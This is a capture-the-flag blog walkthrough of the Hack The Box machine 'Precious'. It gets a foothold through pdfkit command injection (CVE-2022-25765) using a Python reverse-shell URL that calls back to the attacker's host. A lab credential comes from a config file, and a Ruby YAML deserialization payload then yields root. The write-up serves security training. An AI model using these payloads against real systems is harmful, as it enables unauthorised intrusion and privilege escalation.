22 May 2023

Hack The Box Precious Walkthrough

A walkthrough of Hack The Box's Precious

Will Lindsey
Will Lindsey Information System Security Officer LinkedIn

Introduction

Hack the Box is one of the cybersecurity upskilling platforms I use for professional development. Roughly once a week, Hack the Box releases a new vulnerable box for users to hack. Additionally, one active box is retired every week. Below is a walkthrough on compromising the recently retired box, “Precious.”

Summary

Precious Hack The Box

“Precious,” is hosting a website that offers a service to convert webpages to PDFs. During my investigation, I discover a command injection vulnerability in the tool used for this purpose. Exploiting this vulnerability, I gain a foothold on the box. By manually enumerating the box, I come across credentials stored in a configuration file for the user “Henry.” “Henry” has the privilege to execute a ruby script as root. Exploiting a deserialization vulnerability in this ruby script, I successfully obtain a root shell.

Port Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80).

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ nmap -sC -sV  10.10.11.189 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-08 13:32 EDT
Nmap scan report for 10.10.11.189
Host is up (0.025s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.95 seconds
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ nmap -p- 10.10.11.189 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-08 06:56 EDT
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.037s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 16.58 seconds

The web server redirects to http://precious.htb.

Foothold

I add the domain precious.htb to /etc/hosts. This will allow me to enumerate the website.

Navigating to http://precious.htb in my browser I see I have the ability to convert a website to a PDF.

home

I set up a local web server hosting a simple page to explore this “Convert Web Page to PDF” feature.

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious/www]
└─$ echo "Hello World" > index.html
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious/www]
└─$ python3 -m http.server 9713
Serving HTTP on 0.0.0.0 port 9713 (http://0.0.0.0:9713/) ...

test

The website returns a pdf of my simple webpage. Looking at the file properties I see pdfkit v0.8.6 was used to create the pdf.

test

CVE-2022-25765

Using google, I find that pdfkit v0.8.6 appears to be vulnerable to CVE-2022-25765. This particular CVE has a high EPSS score and CVSS score, increasing my confidence that it is the intended path to obtaining a foothold on the box.

EPSS: .092

EPSS Percentile: .94

CVSS Score: 9.8

KEV Catalog: No

Following the links provided by NVD above, I am able to find a POC for the vulnerability.

Vulnerability Description

An application could be vulnerable to a command injection if it tries to render a URL that contains query string parameters with user input.

PoC

PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf

Adjusting the PoC I get RCE with the following url.

http://10.10.14.8:9713/?name={%20`pwd`}

poc_test

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious/www]
└─$ python3 -m http.server 9713
Serving HTTP on 0.0.0.0 port 9713 (http://0.0.0.0:9713/) ...
10.10.11.189 - - [08/Apr/2023 15:39:07] "GET /?name=%7B%20/var/www/pdfapp%7D HTTP/1.1" 200 -

Enumerating applications I find python is available. I am able to get a remote shell with the following crafted url.

 http://10.10.14.8:9713/?name={%20` python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",9267));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`}

reverse_shell

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ nc -lvnp 9267        
listening on [any] 9267 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.189] 40120
/bin/sh: 0: can't access tty; job control turned off
$ whoami 
ruby
$ hostname
precious
$ 

User

Upgrading my shell and manually enumerating the box. I find credentials for Henry.

$ python3 -c 'import pty; pty.spawn("/bin/bash");'
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended  nc -lvnp 9267
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ stty raw -echo; fg % 1                                              
[1]  + continued  nc -lvnp 9267
                               export TERM=screen
ruby@precious:/var/www/pdfapp$ 
ruby@precious:/var/www/pdfapp$ cd ~
ruby@precious:~$ pwd
/home/ruby
ruby@precious:~$ ls
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Apr  8 14:30 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Apr  8 14:30 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config 
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Using the above credentials I can ssh into the box as henry.

┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ ssh henry@10.10.11.189             
henry@10.10.11.189s password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr  8 14:57:31 2023 from 10.10.14.8
henry@precious:~$ 

Root

Listing the commands I can run as sudo I see I can run update_dependencies.rb as root.

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Looking at update_dependencies.rb I see it call YAML.load(). In this instance YAML.load is vulnerable to a deserialization attacks.

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Saving the following maliciously crafted yml file as dependencies.yml I will obtain root privileges.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve
henry@precious:/dev/shm/.htbuser$ vi dependencies.yml 
henry@precious:/dev/shm/.htbuser$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve
henry@precious:/dev/shm/.htbuser$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/dev/shm/.htbuser# whoami
root
root@precious:/dev/shm/.htbuser# id
uid=0(root) gid=0(root) groups=0(root)

Conclusion

“Precious” is an example of one of the many intriguing challenges available on Hack the Box. I intend to publish walkthroughs of future retired boxes as I continue using the platform to broaden my knowledge.

Categories

capture-the-flag